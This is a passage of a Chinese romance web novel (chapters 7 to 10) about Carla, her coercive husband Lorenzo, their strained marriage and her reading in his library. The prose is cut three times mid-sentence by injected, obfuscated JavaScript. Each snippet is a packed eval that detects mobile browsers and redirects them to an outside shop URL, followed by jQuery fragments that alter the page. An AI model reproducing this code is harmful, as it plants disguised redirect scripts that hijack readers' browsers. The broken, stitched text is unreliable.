尽管这一天里发生了许多事情,但她还是照旧一沾床就沉沉地睡了过去。她也不知道自己究竟睡了多久,直到听到一阵用力的敲门声。她立刻清醒过来,把乱蓬蓬的头发从脸上拨开。
“卡拉,给我把门打开!”洛伦佐再次猛敲木门,为了防止他吵醒其他工作人员,她连忙去开门锁并打开了门。
然后她看见洛伦佐站在门口,又愤怒又无奈:“你跑到这里来干什么?”
“我决定搬进这个房间。”她告诉他。
“为什么?”他问。
因为她想离开!她忍受不了他们的婚姻,她不想回到过去了!卡拉几乎想吼出这些话,她已经说了无数次了。
她选择了跟他进行更为和平的谈话:“我不想继续睡椅子了。”
“所以你对我们的床有什么意见吗?”
“没有意见,只是,如果我还和你继续睡同一张床上,我会觉得自己虚伪,说一套做一套。洛伦佐,我们的婚姻早就已经千疮百孔……”
“这是多么荒谬的言论。”洛伦佐直接打断了她。
“我的妻子和我睡在同一个房间里的同一张床上,这是再正常不过的事情,你现在必须回到我们的房间。”
卡拉摇了摇头道:“不,就算是地狱结冰我也不会回去。”
“那地狱现在就可以开始结冰了。”
说完,他抓住她的手,把她拉向几间房外的卧室。这个突如其来的举动让她十分震惊,她踉跄着跟在他后面,直到本能促使她用力反抗,最后几步她几乎是被他拖着走的。
当卧室的门在她身后发出一声沉重的闷响,他才终于松开手。她立刻后退几步,后背抵住冰凉的门板,整个人急促地喘息着,胸口起伏不定。
房间里只开着一盏昏暗的床头灯,光线勾勒出那些熟悉的轮廓,尤其是那张宽大得令人窒息的床。这个空间曾是她试图逃离的噩梦核心,此刻却以不容抗拒的姿态再次将她吞没。
洛伦佐就站在几步之外,没有说话,只是看着她。昏黄的光线将他一半脸庞隐在阴影里,另一半却异常清晰地映出了他下颌紧绷的线条,和眼底某种翻涌的、她无法解读的情绪。空气凝滞得如同固体,压迫着她的耳膜。
“这样有意思吗?”她终于找回了自己的声音,尽管带着无法控制的微颤,“你这样控制一切,强迫我待在这里,能改变什么吗?你到底想要怎么样?”
洛伦佐向前走了一步,暖光柔和了他下颌冷硬的线条,却让那双眼睛里的神色更加晦暗难辨。
“我想怎么样?”他道,“我以为我的意图一直很清楚。我要我的妻子回家,睡在我们的床上,结束这场根本毫无意义的幼稚闹剧。”
“这不是什么闹剧,”卡拉忍不住反驳他,指甲掐进掌心,“这是我的生活,我不想继续这种可悲的关系。”
“可悲吗?”洛伦佐微微歪了下头,像是在品味这个词,“法律认可的婚姻,丈夫与妻子共享卧室,哪里可悲?是因为你的心背叛了这段关系,所以连带着觉得这一切都变得无法忍受了?”
“我们的婚姻从一开始就是可悲的,”她脱口而出,“那不过就是一桩令人作呕的财色交易。除了睡在一张床上,我们曾经究竟有哪一点像对夫妻?我不认识你的任何家人,也不认识你的任何朋友,至于我的那些家人,在你看来估计如同臭虫,虽然他们确实如此。我们之间没有任何交流,你平日里压根看都不愿意多看我一眼,就好像我是一个该死的陌生人。”
她不想和他说这些,她不想真的像个抱怨不休的妻子,但在经历了这一连串的事情后,她停不下来,她根本停不下来。
多少次,当他直接从她身边经过,就好像她根本不存在一样时,她简直想打他一耳光,想冲着他大喊大叫,好迫使他去承认她是存在的。
他对她那种漠不关心的态度,比其他男人曾带给她的任何痛苦都要糟糕。他们至少一开始都还甜言蜜语过,他们会花心思讨好她,赞美她漂亮、甜美。即便当她照镜子时,她看到的从来都不是什么漂亮或甜美,只有破碎与肮脏,以及羞耻和自我厌恶……
洛伦佐愣住了,但他仍然提醒她道:“这是你的选择,卡拉,我想得到你,而你要求我娶你。”
说完,他顿了顿,声音忽然变轻了许多:“我一直记得你当时看我的样子,你尽力让自己看起来可以更天真无辜一些,可是你的眼睛完全出卖了你。你很清楚,婚姻更有利可图,而我最终满足了你的要求,与你共享了我的财富,你也显然对这一切都很满意。结果现在,你开始觉得那令人作呕?”
“那时我只有该死的十九岁!”卡拉脱口而出,像是被他的这些话烫伤了,“我……我根本就还什么都不明白,我只是又蠢又贪,我以为,我以为……”
她的声音忽然间哽住了。
天呐,她已经说得实在太多太多了,她不可以继续坦露自己的脆弱,尤其是面对一个骨子里可能是个恶棍的家伙。
他会享受自己对她一直以来的折磨。
她尴尬不已,想要立刻逃到别处去,好可以躲避开他那愈发迫人的目光,可是他阻止了她的动作,将手撑在她身后的门板上。
他的脸离得更近了,温热的呼吸拂过她的皮肤,带着威士忌的微醺和一种她从来都无法抗拒的、属于他的独特气息。
理智在尖叫着让她推开他,逃离这个令人窒息的距离,但是她的身体却像被钉住一般无法动弹。一种熟悉的、深入骨髓的颤栗从脊椎蔓延开来,并非全然是恐惧,还有别的某种她拼命抗拒却又确实存在的、被他强势存在所激发的原始反应。
“你必须看着我,卡拉。”他命令道。
而她真讨厌他仗着自己说话有口音,在叫她名字时从来没有发音正确过。他总是使用那种独特的意大利腔调,拉长着音节,舌尖会轻轻弹一下,带着别样的挑逗意味。
“求你了,别再继续叫我卡拉!”她终于忍不住说。
在他略微的怔愣中,她继续道:“我们都清楚,我从来不是你的‘亲爱的’。”
洛伦佐有些意外:“哦?现在你明白意大利语了?”
闻言,卡拉的心顿时一沉。
她并不懂意大利语。
虽然在他们结婚初期,她确实曾随口提过想学意大利语,她甚至已经偷偷在YouTube上打开过几个视频课程。
她认为这是理所当然的,无论如何,她丈夫都是个土生土长的意大利人,她可能会需要用到它。她可不希望未来因为没有准备而在意大利丢脸,也不希望自己可能会听不懂任何嘲讽,然后只知道对着人傻笑。
但是他直接和她说那毫无必要。
于是她明白了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588886|205401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他永远不会带她回他意大利的家,也永远不会将她介绍给他的任何意大利友人。
她当然是一句意大利语都不需要懂。
那些学习的计划,也就此搁置……
“知道这种基础的东西还算不上明白。总之,不要再那么叫我了。就算在爱尔兰语里,它也是朋友的意思,而我们与朋友之间也还离得很远呢。”
“别再无理取闹了,”他看着她气呼呼的脸,“看看你自己,你像个孩子。”
“我没有在无理取闹。”
不,她现在确实就是在无理取闹。
“而且,”她忍不住戳了戳他的胸口,“如果你觉得我像孩子,那也是你的问题,是你非要选择在青少年区购物。你这个恋童癖,你是找不到同龄人了吗?”
闻言,洛伦佐愣了愣,看起来似乎有些无法反驳。毕竟无论如何,他们结婚时她都确实是十九岁,谁能说她不是一个该死的青少年?
“每个名字都有它自己的含义。”洛伦佐终于开口,“卡拉首先是你的名字,除此之外,我还应该怎么去称呼你?德-米凯利太太?我以为你现在不太喜欢被提醒这个身份。”
“凯特里奥娜,”卡拉道,“就像我也不可能会叫你恩佐或其他的什么一样。”
洛伦佐定定地看着她的绿眼睛,叹了口气,道:“如果这就是你所希望的,凯特里奥娜·玛丽·多尔蒂。”
哦……卡拉不禁绝望地吐了口气。
事实上,从小到大,她从来就没有喜欢过自己的全名。
明明在她之前,大家都在正常地使用英语名字,一到了她这一代,倒是又忽然捡起了谁也不懂的拗口盖尔语,想要重新拥抱族裔身份了。
尤其,它还如此讽刺。
纯洁无瑕的圣人与无染原罪的圣母,来自祖母对她做一个天主教好女孩的期望,搭配的却是一个承载着几代贫穷、混乱与不负责任的姓氏。
它就像一道沉重的符咒,永远碾压着她无法摆脱的出身与似乎早已经写定了的命运,此时此刻再从他的口中念出,更是增添了一层被彻底解剖的、无处遁形的冰冷感。
但现在,她只能让自己接受它,她实在不想参与他那些虚伪的暧昧游戏。
“凯特里奥娜……”他再次在她的身前低语着她那有些难以拼读的传统名字,带着一种她从未听过的、浓重得化不开的情绪,“你心里到底在想什么?”
他进一步靠近,他的嘴唇几乎就要触到了她的,他们温热的呼吸交织在一起,只要她把头微微动一下,他们的嘴唇就会立刻碰到一起。
她恨自己有那么一瞬间竟然真想这么做。他可能熟悉她身体每一寸皮肤,但却还从来没有试图吻过她的嘴唇。
他的嘴唇在她的嘴唇上,到底会是一种什么样的感觉呢?
她没去给自己犯大错的时间,猛地把头转到了一边,而洛伦佐也如梦初醒一般,重新拉开了他们之间的距离。
“你累了,去睡觉。”他把手放在她的后腰上,轻轻地推了她一下,让她朝床走去。
“我……我真的不想……”
“看在天主的份上。”洛伦佐疲惫道,“不管你这里还有什么要发表的观点,都请留到明天,我去洗澡了,我希望当我出来时,你已经睡着了。”
说完,他就一边脱衣服,一边走进了浴室。
卡拉犹豫了一下,还是愤怒地呼了一口气,没有选择趁机溜走,都这个时间了,她确实是很累了,她不想再和他玩一次这种猫捉老鼠的闹剧了。
她不甘不愿地钻进那个本以为只会存在回忆中了的被窝,却没有像被洛伦佐吵醒前那样立刻睡着,她控制不了地一直听着他在浴室里那些熟悉的动静。两年的婚姻使她太了解他了,而他的习惯还真是一点都没变。
啧,可真是个死板的意大利男人。
当洛伦佐终于洗完出来,他一个字都没再对卡拉说。他直接掀开被子躺到床上,没有试图朝她靠近,也没有再触碰她一下。
她顿时就松了一口气。
他这个人一贯如此,除非是觉得有必要进行一点睡前运动,否则他都是待在自己那边,把她当空气。
也正因如此,她过去从未主动发起过他们之间的亲密接触。
毕竟就算是她这种恬不知耻的女人,也总归还是有着那么一点自尊心的……
“不管你还在想什么,已经很晚了,睡觉。”他的声音忽然在黑暗中响起。
好吧。
卡拉乖乖停止了继续胡思乱想,闭上眼睛,在不安中慢慢陷入了睡眠。
8. Chapter 8
当卡拉再次睁开眼睛时,她几乎都不知道自己究竟身在何处,也不知道究竟发生了什么。
她懒洋洋地打了个哈欠,很快,眼皮又闭上了,因为她被充满房间的金色阳光刺得睁不开眼。
等等!
天呐,时间这么晚了,她上班八成是要迟到了。
这个念头像一根尖刺,瞬间扎穿了混沌的睡意。她几乎是弹坐起来,心脏因惯性惊慌地狂跳了几拍,手下意识地摸向了身边。
空的。
没有洛克兰温暖的躯体,没有他含糊的早安嘟囔,只有床头柜上照片里的两双眼睛,此刻正死死地盯着她。
记忆如同潮水,冰冷而沉重地涌回。
她颓然松下肩膀,那阵职业女性的紧张感迅速褪去,取而代之的,是一种更深的、骨髓里的疲惫与无力。
是的,她那点可怜的工作,那点勉强维持的、属于“查丽蒂”的独立假象,已经被轻易碾碎了。
她已经回家了,那个她最恐惧的家。
明明她一直那么努力。
那个该死的混蛋凭什么?
卡拉掀开被子,赤脚踩在地板上。卧室里静悄悄的,混蛋早已不见踪影,大概已经开始了他的工作日。
她洗漱完毕后便下了楼。
早餐准备得非常丰盛。
没有了那个倒胃口的人在,卡拉的胃口总算是恢复了不少。
当她心满意足地吃完,她十分自然的就准备把桌子好好收拾一下,然后再把盘子放进厨房水槽里。
结果,她才刚把盘子叠在手里,一名年轻的女佣就过来了。
“你在做什么,女士?”她苦笑着看着她的女主人。
“我想我可以帮忙。”卡拉道。
但女佣执意从她手里拿走了盘子。
卡拉无奈,也不准备为难这个女孩,她只是忍不住问:“他……德-米凯利先生呢?”
“先生一大早就去公司了,女士。”
他走了也好,卡拉想。至少白天,这座宫殿暂时就属于她一个人了……
只是也许,是因为连端个盘子都没能端成功吧,很快,那种无所事事的空虚感再次开始在她的的心中蔓延。在过去两年里,她一直坚持工作,用忙碌填满时间,堪称劳模。可现在,她却连这么点可怜的支撑都被抽走了。
她该做什么?她还能做什么?像洛伦佐建议的那样,在尼科洛的监视下,扮演一个兴致勃勃更新衣橱的妻子去商场转几圈,刷个几万块?又或者真的去发展一下那些他口中所谓的比较符合他妻子身份的兴趣爱好?她的脑海中不禁浮现出了自己骑着马打着网球插着花晚上还能对着那些“啊啊啊”个不停的歌剧流眼泪的模样……
不行,那种反胃感又要回来了,她可不想把刚刚吃进去的食物通通吐掉。
她默默从冰箱里拿出一盒冰淇淋——她这辈子好像永远有胃口吃冰淇淋,而冰淇淋也一直是她的完美镇定剂,然后,她又打开了电视。
可是冰淇淋配着一集几乎毫无真正剧情的肥皂剧吃完,她感觉整个人都变得更空虚了。
最终,她还是只能在她曾经居住了两年的房子里漫无目的地游荡起来,试图给自己找一点事情做,一点可以真正占据她的脑子一段时间的事情。
在他的这座豪宅里,有多个客厅,还有台球室、健身房、媒体室……
每个房间都是那么完美无瑕。
直到,她停在了位于洛伦佐办公室旁边的图书室门口。尽管她几乎就没有进去过,她也很清楚,里面有着成百上千本书,各种类型应有尽有。
她不由得意识到,她好像已经很多年都没有认认真真看完一本正经书了。自然了,一开始是因为她的生活太过忙碌了,而后来,便是开始对书籍有了些莫名的畏惧。也许她是觉得,一个像她一样堕落的女孩,根本就不配拥有知识与沉思带来的宁静与尊严。她就应该只是个肤浅的傻瓜,那样至少会活得比较开心。
但事实上,她其实偶尔也会想起,想起学校图书馆里陈旧纸张的气味,想起为了理解一个概念而绞尽脑汁的专注,想起在照顾哭闹侄女的间隙里偷空阅读几行文字时那种短暂的抽离。
那个时候,她每天早上醒来时都会感觉到自己还是有用的,她的未来虽然模糊不清,但至少还隐约透着光芒。
她轻轻地推开了图书室的门。
图书室内,光线被厚重的天鹅绒窗帘过滤得恰到好处,温暖而柔和。
书籍排列得异常整齐,她能看到有不同语言的书脊,看到各种各样的分类标签。
在他这里甚至还有经典罗曼史。
反正都是打发时间,不如就看看吧,哪怕那估计只会是在催眠,能好好地睡一觉那更好了。她这么想着,最终还是挑选了一本曾经听说过名字却还没有看过的书在沙发上坐下。
最初的阅读对她来说着实很难。
她的注意力难以集中,字句在她的眼前浮动着,却无法进入大脑。她只能告诉自己,反正都已经打开了,千万不要停下。
慢慢的,情况开始变得好了一些,那些排列组合的文字,开始唤起了她的共鸣。至于外面的世界,洛伦佐的阴影,未来的迷茫,似乎都被暂时挡在了这些词句之外。
她读得很慢很仔细,有时还会反复咀嚼同一行。直到一整本书读完,她才终于意识到脖颈传来细微的酸痛,并活动了一下僵硬的肩膀。
她慢慢将书合上,还是有些不敢相信自己如此轻易地做到了。
那些曾经让她望而生畏的文字,此刻就像是一条隐秘的河流,将她带离了这个华丽的牢笼,送往另一个同样由规则与表象构筑的世界,那里的人们同样戴着自己的面具,同样在内心深处进行着无声的战争。这是一种奇特的慰藉,尽管虚幻,却真实地抚平了她内心的焦躁。
就在她微笑着,感到一丝难能可贵的心满意足时,一阵极轻的、几乎被地毯吸收殆尽的脚步声从门口传来。
卡拉瞬间僵住,拿着书的手指微微收紧。她没有立刻抬头,但全身的感官都骤然绷紧。
脚步声停在不远处,没有继续靠近。她能感觉到一道视线落在了她身上,沉甸甸的,带着审视的温度。
几秒钟令人窒息的寂静后,洛伦佐的声音响起,不高,却清晰地穿透安静的空气:“《纯真年代》?”
卡拉迫于无奈,终究还是抬起头,迎向她在这里最不想看到的人。
洛伦佐站在光影交界处,西装外套搭在臂弯,领带松开了些,衬衫最上面的纽扣也解开了。在他脸上没有什么表情,但那双深邃的眼睛里,却有什么东西在缓缓流转。
被他这么看着,卡拉下意识地想把书藏起来,仿佛是做了什么不该做的事被抓了个现行。但最终,她还是停住了动作。
他都已经看见了,不是吗?
他一定正觉得很可笑吧,一个她这样的人,拿着一本名字是“纯真”的书,多么讽刺的画面啊。
“只是随便看看罢了。”她简短地说,声音有些干涩。
洛伦佐的视线从她脸上移到她手里的书上,停留了片刻。他又走了几步,脚步依然很轻,最终停在了距离她几步远的书架前。他随手从书架上抽出了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588887|205401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本书,翻看了一下,又放回去,动作随意,但卡拉能感觉到,他大部分的注意力依然在她身上。
“我承认我很惊讶,我听说你连午餐都是在这里吃的,我原本还以为。”他开口,声音平缓,听不出情绪,“你对这类需要耐心和思考的消遣不感兴趣。”
他的话像一根细针,刺破了刚才阅读所带来的短暂安宁。卡拉的胸腔内感到一阵熟悉的痛楚。他是在暗示她头脑空空,只配那些浮华的娱乐吗?
“人……总是会变的。”她生硬地回答,目光重新落回了书本上。
“是吗。”他低语,更像在自言自语。他转过身,面向着她,背靠着高大的书架。
“这可不是一个愉快的故事。”
卡拉猛地抬眼看他。
难道,他居然曾经读过这本书么?洛伦佐·德-米凯利,读罗曼史?
洛伦佐迎上了她的目光,嘴角似乎极其轻微地牵动了一下,但是那笑意并未到达眼底。
“责任、体面、社会期望……与内心真实渴望的永恒拉锯,真是令人窒息。你觉得呢?”
他的问题几乎像是一个陷阱,卡拉不确定他是认真想要跟她讨论文学,还是在影射其他的什么。
“打发时间的小说而已,我没有想那么复杂的东西。”她避重就轻。
“小说是人写的,往往也反映人性。”他朝她的方向走近了一步,目光落在她微微蜷起的手指上,那手指正无意识地摩挲着粗糙的书页边缘。
“有时候人就是如此,会心甘情愿地把自己围困在无形的栅栏里,那些栅栏叫‘他人会怎么说’,叫‘我本该如此’,也叫‘算了,就这样吧’。日复一日,年复一年,栅栏越收越紧,直到连喘息的空间都不剩。”
说到这里,他顿了顿,才又继续道:“但好在,也总有人会有勇气去触碰那无形的栅栏,甚至是试图去翻越它,即使得到的代价可能是永远的漂泊。”
“你说的……我一个字也听不懂。”她一边说,一边让自己无所谓地耸耸肩。
“事实上,对于这本书,我就只是单纯的觉得这位男主角……反反复复的实在令人厌恶。如果他并不爱一个女人,别娶她,别碰她,别跟她生下一个又一个的孩子,真的有那么难吗?可是他一边为了他安稳又体面的生活做完了这一切,一边又对另一个女人念念不忘,拖泥带水,中间还一度幻想过妻子可以去死。多么虚伪又软弱的男人,也许,他就只是喜欢躲在两个女人身后,拿她们给他做各种借口。”
说到这里,她意识到自己还是开始话多,忍住了继续骂男人的冲动,道:“我知道,我这么想其实有些不公平,这个故事的背景是十九世纪,距离现在都已经一百多年过去了。”
“是吗?”洛伦佐的声音变得很轻,然后,他停顿了一下,目光在她的脸上停留了很久。
他继续道:“我从来没想过你会觉得婚姻一定要基于爱。”
该……死……
她就知道她说太多了。
空气就这么骤然凝固了。
卡拉的嘴角垂了下去,骂别人的心思瞬间烟消云散。她更想骂自己,莫名其妙看什么书,还要多嘴自取其辱。
“我希望你不会连晚餐也在这里吃。”他最终只是如此说,声音恢复了惯常的平稳,仿佛刚才关于《纯真年代》的探讨只是个无关紧要的插曲。
他没有等她回答什么,甚至也没再多看她一眼,便转身离开了图书室。
卡拉坐在原处,许久都没有动弹。
然后,她忍住把书摔了的冲动,只是默默将它放回了原本的地方。
9. Chapter 9
他们难得风平浪静地一起吃了晚饭,之后,洛伦佐接了个电话,就又进了他的办公室,不知道究竟在忙什么。
终于没有他盯着,卡拉犹豫了一下,还是选择去到了那间最远的客房。
在舒舒服服地洗了个热水澡之后,她警惕地躺在床上,随时等候着他忽然的暴力敲门,结果没想到,她竟然真安安稳稳地一直睡到了第二天早上。
只不过,她打了个哈欠坐起来,却忽然发现,这里貌似不是之前的房间。
她貌似……回到了主卧室里。
她很清楚,她没有梦游症,这种情况只有一个答案。
愤怒后知后觉地涌了上来,烧干了初醒的懵懂。那个混蛋究竟是什么时候进的房间?他又是怎么进去的?她明明已经把门……
是了,这是他的房子,每一把锁都听命于他,而她居然天真到真的以为一扇门能挡得住他。
她掀开被子下床,冲到门边,握住门把——没有上锁,轻轻一拧就开了。走廊寂静,晨光从尽头的窗户斜照进来,尘埃在光柱中飞舞。
她用力地呼吸了两下,却还是没有打算冲去找他并大发脾气质问什么,毕竟质问又有什么用呢?她毫不怀疑,他大概又会用那种平静的、理所当然的语气告诉她:你是我妻子,理应与我睡在主卧室。或者更讽刺一些。
她退回房间,默默走进浴室,镜中的女人脸色苍白,眼下有淡淡的阴影,眼神里则充满了挫败和怒气。
她只能用冷水狠狠地扑脸,试图浇灭心头那股子邪火。
她洗漱完毕后,就又换上了另一套自己带来的、甚至都洗得发白的衣服。这是她此刻唯一能做的、微不足道的抵抗。
她可真是后悔,当初她就该向他要求一些什么顶层公寓豪车珠宝之类的,那样才比较实际,她为什么非要那么大口气,直接就在那里暗示除非他娶她呢?不然他现在又能奈她何?
不过,她又哪里想得到他还真娶呢……
时间还算早,当她下楼时,天杀的洛伦佐正坐在他惯常的位置上,面前摊开着一份报纸,手边则是一杯咖啡。
他穿着剪裁合体的套装,头发一丝不苟,已然是那个清醒、冷静、掌控一切的商业领袖模样,与昨天在图书室里那个略带疲惫、并破天荒地跟她谈论起了罗曼史小说的男人判若两人。
听到了她的脚步声,他抬起头,目光平静地扫过她全身,在她那身旧衣服上停留了半秒,却什么也没说,只是微微颔首:“早。”
卡拉没有回应他如此珍贵的问候。她只是默默给自己拿了早餐,然后在他的对面坐下。
一直到将早餐吃完,她才终于让自己开口说话:“我昨晚明明睡在客房。”
洛伦佐翻过一页报纸,又啜了一口咖啡,动作流畅自然。
“是吗?”
“可是今早我在你房间醒来。”她盯着他,试图从他的脸上找到一丝破绽。
他终于从报纸上抬起了眼,看向她。那双深邃的眼睛里没有任何波澜,只有坦然:“我们的房间。”
就这样?
如此的轻描淡写,如此的理所当然。
卡拉顿时感到一股热血直冲头顶。
“我根本就没有同意换房间,你把我当什么?一件可以随意搬运的行李吗?你甚至都没有叫醒我。”
“你当时睡得很沉。”他说,“我认为没有那个必要打扰你的好睡眠,现在,再吃点东西,你不能继续吃那么少,不然,你迟早会害得自己营养不良。”
对话被单方面终止了。他重新沉浸在了他的财经世界里,仿佛刚才只是处理了一件微不足道的小事。
卡拉气得胃疼,当晚痛定思痛,又偷偷摸摸地给自己换了一个房间,并试图熬夜。但很可惜,她后半夜居然不小心睡着了,愣是没熬赢他,第二天早上,她照旧在主卧室里醒了过来。
她实在是受不了了,这个男人是年过三十的终于开始发疯了吗?
唯一让她感到庆幸的是,他虽然执着于与她睡一个房间,倒是始终与她保持了合适的距离,从没有像她曾经担心过的一般试图与她恢复亲密关系。
毕竟从前他只要是在家里,夜晚几乎是从无例外。他的需求直接而频繁,如同呼吸。如今,同床共枕了这么几天,他竟然秋毫无犯。
这简直像一个科幻故事。
尤其以他最近在家里呆的时间来看,他显然有些难以做到同时还在跟其他的情人幽会。毕竟他又不是个什么可悲的窝囊废,只能躲躲藏藏,他需要去在乎谁的眼神?
就像过去,他过去从来不会像现在这样天天回家,而是偶尔会直接住在他位于市中心的顶层公寓里。至于他每一次出差或者回他的老家意大利不知道干什么,她总是会忍不住悄悄地关注有没有关于他的消息。他们家的人全部都很懂得保护隐私,但是偶尔,他还是会不慎与某个美丽的模特或演员出现在同一张照片里。
她很清楚,像这些整天追着各路明星跑的三流小报上的内容肯定会有夸张或者胡编乱造的成分,但再怎么说,苍蝇可不会叮无缝的蛋。
不过,她从来都没跟他提过这些,她知道自己几斤几两,不会上赶着找羞辱。她就只是永远乖乖在家里等他,应付他日常的极致冷漠与床笫间的高需求,然后默默地做着检查,确保拿到的结果都会是阴性罢了。
所以?她忍不住冒出了一个十分危险的想法,他或许是……已经不行了呢?
算一算,他今年已经三十一岁了,也确实差不多该到年纪了。
意识到这可能是真的,她的心中顿时开始感觉到了一种十分扭曲的、近乎是恶毒的快意。
只是随即,又被更复杂的情绪淹没。
如果,这家伙真的是终于把自己玩坏了,那他对她这些诡异的执着又究竟是为什么呢?他们的婚姻不是一直就只有这么点东西吗?还是说,他正是因此变态了,正准备通过对她的控制与报复来重新感受到那一丝可怜的男性尊严?
她越想就越头疼。
男人,她真是这辈子都不可能比出生那天更了解他们。
*
周五的这一天,当洛伦佐照样提前回来了时,卡拉还正蜷缩在沙发上,读着《帕梅拉》打发时间。
她一看见他走进来,下意识地绷紧了身体,准备迎接新一轮无形的角力。
但他只是瞥她一眼,便走向了酒柜,给自己倒了一点威士忌,然后坐下。
卡拉很想继续读她的书,看B先生又准备要对天真纯洁的帕梅拉做什么,然而,她的眼睛就是不太听话,总是忍不住从书页上抬起来,并不由自主地落在他身上。
洛伦佐并没有看向她。他单手握着酒杯,另一只手揉了揉眉心。这个细微的动作泄露出一丝不易察觉的疲惫,与他周身那种无懈可击的、掌控一切的气场格格不入。
她知道,她是真的不应该继续胡思乱想一些有的没的了,她更需要多多思考自己现在的处境!但是,看到他忽然展露疲惫的这一瞬间,那个关于他“不行了”的恶毒揣测,此刻竟然又浮上了心头,让她根本无法去忽视。
要不,就只是悄悄地想象一下吧?
也许,洛伦佐–维托里奥·德-米凯利,如此相貌堂堂的伟男子,在某一日,就只是照常走进了他的某一位金发碧眼(或者棕发、红发、黑发,随便他的喜好)的模特或者小演员情妇那洒满了玫瑰花瓣的豪华套房。
嗯,在那里,灯光被调得暧昧而昏暗,香水浓烈得令人窒息。
一开始,他大概还是那副掌控一切的傲慢表情,用那双仿佛可以冻结灵魂的深色眼睛注视对方,而那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588888|205401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些漂亮的手指,则是习惯性地、带着命令意味地抚过对方那光裸的肩胛骨,是的,就像他曾经对她做的那样,仿佛正在评估一件物品的质地。
然后呢?
然后,那位永远胜利的、无所不能的德-米凯利先生,脱下他的全副武装,面对着那具正热烈绽放、等待着他征服的身体,竟然发现某个关键部位根本毫无反应?就像是一台早已耗尽了燃料的机器,任凭他如何徒劳地去下达指令,核心部件都坚持拒绝启动。
那时,他那张总是胜券在握的脸上会出现裂缝吗?是暴怒?是难以置信?还是连他自己都无法去面对的极度恐慌?
那么,他又会怎么去应对呢?
嗯,以她一直以来对这些上了年纪的男人的了解,他可能首先会掩饰,用那些他也在她的身上验证过、足以让她暂时忘记一切的手段去取悦对方。但是,当真正的征服无论如何也无法完成,在对方带着几分怜悯的讥诮眼神中,他又是否会开始暴跳如雷,用恶毒的话语贬低这迷人的尤物是如何让他大倒胃口,然后再十分狼狈地把衣服一件一件套回去,拿出支票本,妄图用一个个的零使对方闭嘴?
那场景一定精彩极了。
此刻,她几乎都能闻到那种弥漫在空气中的尴尬、失望,以及属于洛伦佐的、冰冷燃烧的羞愤。毕竟像他这种人,这辈子大概从未真正失败过,尤其,还是在这种最原始的、最能象征男性力量与征服的领域。
意识到自己竟然差点就要在想象中笑出声,卡拉只能强迫自己别再想下去了,并立刻把视线拉回书页上。可是在她眼前,那些字母只是无意义地跳跃着,根本就进不了她的脑子。
“看完了吗?”他问,目光也终于转向了她,落在她手里的书上。
卡拉吓了一大跳,下意识把书猛地合上,抬起眼。
“我刚看到一半。”她僵硬地说,声音听起来是这段时间难得的老实。
方才那番实在不太体面的恶毒想象让她的耳根都有些发热,她希望没有任何痕迹泄露在她的脸上。
“喜欢这个故事吗?”他的语气听起来只是普通的询问,没什么情绪。
卡拉斟酌着词句:“打发时间。”
“打发时间,好吧。”
然后,他看了她一眼,仿佛是仍有些犹豫,但很快,他还是开口提议道:“既然你还有这么多时间要打发,你现在介意和我出去一下吗?”
卡拉愣住了:“去哪里?”
如果是出去吃晚饭的话,现在可还有点早,尤其他还是意大利人,她听说意大利人晚饭一直吃得很晚。
而且,他们上次一起出去吃饭好像还是在婚前吧?
“到了你就会知道的。”他说。
卡拉耸了耸肩,正准备表示反对,他又问:“你现在不去换一身衣服吗?”
卡拉低头看了看自己身上的T恤牛仔裤,没觉得有任何问题,而且……
“我可没有答应要跟你出去。”
“不会比十八世纪的小说更无聊的,”洛伦佐道,“去换一身衣服,我就在这里等你。”
卡拉紧紧盯着他的眼睛,意识到他完全没打算改主意后,也有些动摇了。
“我还是想先知道我们究竟要去哪。”她说,“如果不是什么有着装要求的正式场合的话,我就这么穿也没有什么大不了的。”
当然了,如果真的是什么正式场合,她绝对不要参与其中……
闻言,洛伦佐不赞同地上下打量了她一会儿,最终,还是没有为难她。
他独自上了楼。
当他几分钟后再下来时,身上已经换了一套十分休闲的旧衣服,而脚下则是踩着一双有些磨损了的运动鞋。
看着妻子眼睛都快掉下来的模样,洛伦佐只是道:“确实不是正式场合。”
10. Chapter 10
卡拉几乎一路上都在问洛伦佐到底要带她去哪里,但他只是一副神神秘秘得几乎让她觉得陌生的模样。
于是,卡拉只能默默凝视窗外,希望能破解他们的目的地,结果,却只看到街道正在变得越来越陌生。
在很长一段时间里,她都怀疑自己可能是回不去了,他玩够了。只是,她看着周边的环境,又觉得这边好像还不至于会成为什么犯罪窝点。
不过,这些事情也是说不准的。
当他终于将车驶入了一条私人车道,停在一栋雅致的现代风格住宅前。车道上已经泊着几辆线条流畅的豪车,无声昭示着主人的圈层。
然后,他什么也没有做,只是沉默。
于是卡拉也只能让自己乖乖坐着,一言不发,同时满脑子都是胡思乱想。
